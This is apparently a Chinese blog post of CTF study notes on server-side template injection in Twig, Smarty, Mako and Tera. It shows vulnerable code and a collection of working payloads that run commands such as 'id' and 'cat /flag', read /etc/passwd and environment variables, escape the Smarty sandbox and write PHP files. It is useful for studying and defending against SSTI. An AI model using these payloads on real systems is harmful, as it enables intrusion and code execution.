先贴一个神图
模板注入的测试流程,下面是对各个模板的具体操作的一一介绍
Twig
Twig是一个php框架,本着当脚本小子的原则,不研究怎么去搭,首先来看什么样的会出现模板注入:
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
像这种在render里直接进行了动态的拼接,就会导致出现模板注入漏洞.而下面这种使用方法就不会出现漏洞.
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'whoami']);
Twig1.x打本地包含
payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Twig2.x,3.x打本地包含
使用map:
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}} // 无回显
使用sort
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
使用filter
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 无回显
使用reduce
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显
Twig打远程包含
不会,先欠着.
一些有意思的payload收集
{{[%22galf/%20tac%22]|join(%22%22)|reverse|split('',14)|filter(%27passthru%27)}}
可以看到他把payload反着写在数组里 利用join 来拼接成字符串 再reverse变成正常的我们需要的字符串 cat /flag 而filter我们知道需要数组来执行 所以他用了split组合成数组来达到rce的目的
Smarty
Smarty是一个php的模板框架,直接来看漏洞成因.
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}
可以看到在display
函数中,将可控变量去动态的拼接,因此造成了模板注入漏洞.来看漏洞的具体利用.
查看Smarty的版本.
{$smarty.version} #获取smarty的版本号
Smarty 3.1之前
{php}phpinfo();{/php}
通过{php}{/php}
来执行包裹在其中的php命令.
Smarty 3.1.30之前
{self::getStreamVariable("file:///etc/passwd")}
可以通过上面的方法去获取传入的字节流.反思:是否可以通过这个手法去打iconv呢?
Smarty较低版本
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
通过{if}{/if}
标签去执行php命令.
一直可以用
{literal}alert('xss');{/literal}
{literal}{/literal}
标签似乎只能去打XSS.
Smarty3.1.38之前
由于引入沙箱机制,因此需要关闭沙箱或进行一个逃逸.
?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}
?poc=string:{function+name='rce(){};system("id");function+'}{/function}
虽然说是3.1.38之前,但是在更高的版本似乎也成功过.
mako
mako是一个python的模板语言,类似于jinjia2.这个模板非常的不安全,由于支持python代码的执行,因此存在各种注入方式.
产生漏洞的代码如下:
from pyramid.config import Configurator
from pyramid.view import view_config
from pyramid.response import Response
from mako.template import Template
from waitress import serve # 用于运行服务器
@view_config(route_name="vuln")
def vulnerable_view(request):
user_input = request.params.get("name", "")
template = Template(f"Hello {user_input}") # ⚠️ 存在模板注入漏洞
return Response(template.render())
if __name__ == "__main__":
with Configurator() as config:
config.add_route("vuln", "/")
config.scan() # 自动扫描 @view_config 装饰的视图
app = config.make_wsgi_app()
print("Server running at http://127.0.0.1:6543")
serve(app, host="0.0.0.0", port=6543)
可以使用如下方式去执行命令.
<%!
import os
os.system("whoami")
%> #这个本地没通,感觉有点说法.
<%__import__("os").system("whoami")%>
${__import__("os").system("whoami")}
总体就是使用这几种字符去包裹.还有其他的绕过方式大多喝ssti相似,和沙箱逃逸相结合.
tera
tera是rust的一个框架,使用开篇图片的测试方式显然是无法测试的.关于tera了解的注入方式也非常有限,甚至不知道如何去执行命令.
{{ get_env(name="FLAG") }}
可以通过这种方式去读环境变量,在das2024冬最后一战中考了.
标签:name,flask,system,ssti,php,config,id,模板,注入 From: https://www.cnblogs.com/meraklbz/p/18664194